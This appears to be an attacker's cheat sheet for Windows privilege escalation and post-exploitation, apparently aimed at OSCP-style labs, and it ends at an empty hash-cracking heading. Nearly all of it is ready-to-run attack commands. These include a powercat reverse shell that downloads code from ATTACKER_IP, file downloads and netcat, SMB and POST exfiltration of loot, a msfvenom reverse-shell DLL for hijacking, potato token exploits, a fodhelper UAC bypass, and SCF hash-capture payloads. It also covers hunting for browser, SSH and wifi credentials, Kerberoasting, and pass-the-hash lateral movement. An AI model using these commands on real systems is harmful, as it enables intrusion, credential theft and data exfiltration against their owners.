Shell Setup & Flag Acquisition#

Un-truncate Terminal Output:

• PowerShell: | Format-Table -Wrap or | Out-String -Width 4096

• CMD: Properties > Layout > Increase Screen Buffer Width

Aliases:

• PowerShell: function ll { Get-ChildItem -Force }

• CMD: doskey ll=dir /a /r /q

Immediate Admin Actions:

• net localgroup administrators $USER /add (Add user to admin group)

• Powercat Reverse Shell: powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKER_IP:80/powercat.ps1'); powercat -c <ATTACKER_IP> -p 443 -e powershell"

Flag & File Acquisition:

• Tree View: tree /F /A C:\Users\

• CMD Search: * dir /s /b c:\proof.txt

  • dir /s /b c:\local.txt

  • where /R c:\ proof.txt

• PowerShell Search: * Get-ChildItem -Path C:\Users -Include *proof.txt*,*local.txt* -Recurse -ErrorAction SilentlyContinue

  • gci -Path C:\ -Recurse -Filter *proof.txt* -ea 0

• Hidden Files Check:

  • CMD: dir /a:h or dir /a:h /s /b C:\ or dir /s/b *.log

  • PowerShell: ls -fo or Get-ChildItem -Path C:\ -Force -Recurse -ErrorAction SilentlyContinue

File Transfer (Inbound to Target)#

• PowerShell: iwr -uri "http://192.168.45.x/file.exe" -OutFile "C:\Windows\Temp\file.exe" OR wget "http://192.168.45.x/file.exe" -o "file.exe"

• CertUtil (Native CMD): certutil -urlcache -split -f "http://192.168.45.x/file.exe" file.exe

• SMB Share: * Attacker: impacket-smbserver share /path/to/tools -smb2support

  • Target: copy \\<ATTACKER_IP>\share\winpeas.exe C:\Windows\Temp\winpeas.exe

• VBScript (Legacy):

  DOS

  1
  echo strUrl = WScript.Arguments.Item(0) > wget.vbs
  2
  echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
  3
  echo Const HTTPREQUEST_PROXYSET = 2 >> wget.vbs
  4
  echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
  5
  echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
  6
  echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
  7
  echo Err.Clear >> wget.vbs
  8
  echo Set http = Nothing >> wget.vbs
  9
  echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
  10
  echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
  11
  echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
  12
  echo http.Open "GET", strUrl, False >> wget.vbs
  13
  echo http.Send >> wget.vbs
  14
  echo varByteArray = http.ResponseBody >> wget.vbs
  15
  echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
  16
  echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
  17
  echo ts.Write(varByteArray) >> wget.vbs
  18
  echo ts.Close >> wget.vbs
  19
  cscript wget.vbs http://192.168.45.x/nc.exe nc.exe
  

Exfiltration (Outbound to Attacker)#

• SMB Server: copy C:\path\to\loot.txt \\<ATTACKER_IP>\share\

• Netcat: * Attacker: nc -lvnp 4444 > loot.zip

  • Target: nc.exe <ATTACKER_IP> 4444 < C:\path\to\loot.zip

• PowerShell (Base64 POST):

  PowerShell

  1
  $file = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\loot.zip"))
  2
  Invoke-WebRequest -Uri http://<ATTACKER_IP>:8000/ -Method POST -Body $file
  

Current User Privileges#

• whoami /priv

• whoami /groups

Access Checks & Tokens:

• Named Pipes: pipelist.exe /accepteula or gci \\.\pipe\

• DACL Check: accesschk.exe /accepteula \\.\Pipe\lsass -v

• FullPowers: Use if privileges are missing but you are in a service account.

Local User Enumeration#

• net localgroup administrators (List local admins)

• net localgroup "Remote Management Users"

• net localgroup "Remote Desktop Users"

• net user <username>

• wmic useraccount get name,sid,description

• query user or qwinsta (Find logged-in users for token theft)

• Get-LocalUser | Select *

• Get-LocalGroupMember -Group "Administrators"

Domain Enumeration (Quick Hits without RSAT)#

• set USERDNSDOMAIN & set LOGONSERVER (Check if domain joined)

• net accounts /domain (Password policy and lockouts)

• net group /domain (List AD groups)

• net group "Domain Admins" /domain (Target list)

• nltest /dclist:%USERDNSDOMAIN% or net time /domain (Identify DCs)

• nltest /domain_trusts (Enumerate trusts)

• net view \\TargetComputer /all (Check Admin shares for lateral movement)

Advanced Domain Enumeration (.NET & AD)#

1
# Native .NET ADSI Searcher
2
([adsisearcher]"(&(objectClass=user)(objectCategory=person))").FindAll().Properties.name
3
([adsisearcher]"(&(objectClass=group)(name=Domain Admins))").FindOne().Properties.member
4
([adsisearcher]"(&(objectClass=user)(name=svc_sql))").FindOne().Properties
5
([adsisearcher]"objectClass=computer").FindAll().Properties.name
6

7
# AD Recycle Bin Group (If a member, extract deleted objects)
8
Get-ADObject -SearchBase "CN=Deleted Objects,DC=Cascade,DC=Local" -Filter {ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *

Active Directory Exploitation Tools:

• BloodHound: Invoke-BloodHound -CollectionMethod All -Domain <domain> -ZipFileName loot.zip
• Kerberoasting / AS-REP Roasting (Rubeus):
  • Rubeus.exe kerberoast /outfile:hashes.txt
  • Rubeus.exe asreproast /outfile:hashes.txt

Process Command Line Analysis (Critical)#

Admins often pass passwords as arguments when launching scripts.

• PowerShell (Modern approach): Get-Process -IncludeUserName | Select-Object Id, ProcessName, UserName, Path

• WMI Object (Extracts exact script paths/args): * Get-WmiObject Win32_Process | Select-Object ProcessId, Name, CommandLine

  • Get-WmiObject Win32_Process | Select-Object ProcessId, Name, CommandLine, @{Name="User";Expression={$_.GetOwner().User}}

• CMD Context:

  • tasklist /v or tasklist /svc (Shows User Context)

  • wmic process get processid,name,commandline

  • wmic process get caption,commandline,processid | findstr /i "password"

Non-Standard Applications & Paths#

• 32-bit Apps on 64-bit Systems (Older libraries):

  • dir "C:\Program Files (x86)"

  • Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

  • Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

• Portable Apps in User Dirs: Get-ChildItem -Path C:\Users\ -Include *.exe,*.bat,*.vbs -Recurse -ErrorAction SilentlyContinue

Service Enumeration & Misconfigurations#

• Running Services & Users: wmic service get name,pathname,startname

• Unquoted Service Paths: wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

• Service Permissions (Can you restart/modify it?):

  • accesschk.exe -uwcqv "Authenticated Users" *

  • sc qc <servicename>

  • sc query <servicename>

  • sc sdshow <ServiceName> (Look for A=Allow, WP=Write Property)

  • Get-Acl -Path HKLM:\System\CurrentControlSet\Services\<ServiceName> | fl

Scheduled Tasks Running as SYSTEM / Admins#

1
schtasks /query /fo LIST /v | findstr /i "Run As User:"
2
tasklist /v | findstr /i "SYSTEM"

PowerShell-Watch Integration (Dynamic Enumeration)#

• New Processes: Get-Process | wc -Diff -Cont -Property Id

• Args: Get-CimInstance Win32_Process | Select-Object ProcessId, Name, CommandLine | wc -Diff -Cont -Property ProcessId

• Ports: Get-NetTCPConnection | wc -Diff -Cont

• Services: Get-Service | wc -Diff -Cont -Property Status

• Files: Watch-Command { Get-Content C:\Path\file.txt } -Diff -Cont

Search Syntax Reference#

• CMD (findstr): * findstr /s /i /n /c:"specific string" *.* (Flags: /s recursive, /i ignore case, /n line numbers, /c literal string, /m filename only).

• PowerShell (Select-String): * Get-ChildItem -Recurse | Select-String "search_term" -List (List stops after first match).

Targeted Credential & Key Hunting#

• SSH / Git:

  • dir /s /b C:\Users\id_rsa

  • dir /s /b C:\Users\id_dsa

  • dir /s /b C:\Users\.gitconfig

• Password Managers & DBs:

  • dir /s /b C:\Users\*.kdbx

  • dir /s /b C:\Users\*.rdp

  • Get-ChildItem -Path C:\Users\*, C:\inetpub\*, C:\wampp64\*, C:\xampp\* -Include *cred*,*pass*,*.config,*.ibd,*.xml,*.kdbx,unattend.* -Recurse -ErrorAction SilentlyContinue

• Configs & Passwords:

  • findstr /siM "password" C:\inetpub\wwwroot\*.config C:\xampp\*.ini C:\ProgramData\*.xml

  • cd C:\ & findstr /siM "password" *.xml *.ini *.txt *.config 2>nul

History, Logs & Clipboard#

• PowerShell History: * type C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

  • Get-History

• Transcripts: type C:\Users\Public\Transcripts\transcript01.txt

• Clipboard: Get-Clipboard

• WSL (Windows Subsystem for Linux):

  • where bash / wsl.exe -l -v

  • wsl.exe -u root cat /root/.bash_history

  • wsl.exe -u root cat /root/.ssh/id_rsa

• Event Logs:

  • wevtutil qe Security /rd:true /f:text /r:share01 /u:user /p:pass | findstr "/user"

  • Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

  • Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Id -eq 4104} (Script Block Logging)

1
(Get-PSReadlineOption).HistorySavePath

Browsers & Session Managers#

• cmdkey /list (If creds found, execute: runas /savecred /user:domain\user "COMMAND HERE")

• vaultcmd /listcreds:"Web Credentials"

• netsh wlan show profile name="PROFILE_NAME" key=clear | findstr /i "Key Content"

• SQLite DBs:

  • dir /s /b C:\Users\%USERNAME%\AppData\Local\Google\Chrome\"User Data"\Default\Login Data

  • dir /s /b C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\"User Data"\Default\Login Data

• Automated Extractors:

  • .\SharpChrome.exe logins /unprotect, Invoke-SessionGopher -Thorough
  • LaZagne: Use LaZagne for automated parsing of browser and session manager credentials.

Direct Execution Vectors#

Service Manipulation#

• Modifying Service Registry (ImagePath):

1
reg add HKLM\SYSTEM\CurrentControlSet\services\<ServiceName> /v ImagePath /t REG_EXPAND_SZ /d C:\Windows\Temp\payload.exe /f
2
sc start <ServiceName>

• Blind Executable Hijacking:

  1. Verify Write Access: icacls "C:\Path\Tracker.exe"

  2. Backup: move Tracker.exe Tracker.bak

  3. Swap: Upload reverse shell named Tracker.exe.

  4. Trigger: Wait for task, reboot (shutdown /r /t 0), or restart service.

DLL Hijacking Methodology#

1. Identify processes attempting to load missing DLLs from user-writable directories.

2. Verify write permissions: icacls C:\target\directory

3. Compile payload: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll > target.dll

4. Place in vulnerable path and restart the service/application.

Token Impersonation (Potato Exploits)#

Exploits SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege.

• PrintSpoofer (Win 10 / Server 2016+): PrintSpoofer.exe -i -c cmd.exe

• GodPotato (Modern / .NET): GodPotato -cmd "cmd.exe /c whoami"

• RoguePotato (No Print Spooler): RoguePotato.exe -r 10.10.10.10 -e "C:\Windows\Temp\reverse.exe" -l 9999

• JuicyPotato: Windows 7 / Server 2008.

UAC Bypasses (Fodhelper)#

Escalate from medium-integrity admin to high-integrity admin.

1
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
2
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
3
fodhelper.exe

Social Engineering & Kernel Exploits#

• LNK / SCF Bomb (Network Poisoning): Drop via IconFile=\\ATTACKER_IP\share\legit.ico and capture hashes with Responder.

• Kernel Exploits (Fallback): Run Windows-Exploit-Suggester locally. Targets include MS15-051, MS16-032, and CVE-2021-36934 (SeriousSAM).

• Full LNK / SCF Bomb Payload: Place in accessed shares, run responder.

1
    [Shell]
2
    Command=2
3
    IconFile=\\10.10.14.3\share\legit.ico
4
    [Taskbar]
5
    Command=ToggleDesktop

• Internal Web Apps: Enumerate C:\inetpub\wwwroot or C:\xampp\htdocs. IIS processes often possess SeImpersonatePrivilege by default.

Scheduled Tasks#

Identify tasks running as SYSTEM or other high-privilege accounts executing writable scripts.

• CMD Enum: * schtasks /query /fo LIST /v | findstr /v /i "Microsoft"

  • schtasks /query /fo LIST /v | findstr /i "TaskToRun" | findstr /v /i "C:\Windows"

• PowerShell Enum: * Get-ScheduledTask | Where-Object { $_.Author -notlike "*Microsoft*" } | Select-Object TaskName, State, Author

  • Get-ScheduledTask | Where-Object { $_.Principal.UserId -eq "SYSTEM" } | ForEach-Object { $_.Actions } | Select-Object Execute, Arguments

• Exploitation: Verify icacls, overwrite target binary, wait or trigger via schtasks /run /tn "TaskName".

Startup Applications & Run Keys#

Scripts/Executables triggered on login. If BUILTIN\Users has write access, drop a payload here to execute upon next Admin login.

• Run Keys:

  • reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

  • reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

  • reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

• Startup Folders:

  • icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" (Global)

  • icacls "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" (Local)

Lateral Movement (Impacket Suite)#

• psexec.py (Leaves artifacts/service): impacket-psexec DOMAIN/User:Password@<IP> OR impacket-psexec DOMAIN/User@<IP> -hashes LM:NTLM

• wmiexec.py (Stealthier, uses WMI): impacket-wmiexec DOMAIN/User:Password@<IP> OR impacket-wmiexec DOMAIN/User@<IP> -hashes LM:NTLM

• smbexec.py (Alternative local service): impacket-smbexec DOMAIN/User:Password@<IP> OR impacket-smbexec DOMAIN/User@<IP> -hashes LM:NTLM

Evil-WinRM (Requires Port 5985/5986)#

• Cleartext: evil-winrm -i <IP> -u User -p Password

• Pass-the-Hash: evil-winrm -i <IP> -u User -H <NTLM_HASH>

RDP#

• xfreerdp /v:<IP> /u:User /p:Password /d:DOMAIN /dynamic-resolution

• Enable RDP locally (Requires Admin):

1
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2
net start termservice
3
net localgroup "Remote Desktop Users" User /add

Hash Cracking (Hashcat)#